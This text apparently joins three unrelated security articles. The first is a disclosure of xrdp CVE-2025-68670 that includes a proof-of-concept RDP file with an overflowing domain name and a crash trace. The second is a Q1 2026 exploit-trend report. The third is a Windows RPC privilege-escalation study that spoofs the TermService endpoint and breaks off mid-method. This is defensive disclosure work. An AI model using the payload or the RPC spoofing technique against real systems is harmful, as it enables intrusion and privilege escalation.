In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
• CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

• CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
• CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

• When TCP is used as the transport layer, the endpoint is a TCP port.
• When SMB is used, communication occurs through a named pipe.
• When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

• ncacn_ip_tcp is used for RPC over TCP.
• ncacn_np is used for RPC over named pipes.
• ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

• UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
• Endpoint: ncalrpc:[TermSrvApi].
• Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

• 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

• A pointer to the returned port handle.
• The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

• Interface UUID, endpoint, and OPNUM.
• Impersonation level and RPC status code.
• Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

• RPC bindings
• Endpoints
• Interface UUIDs
• Authentication details
• Call flow and timing
• RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

• It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
• The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

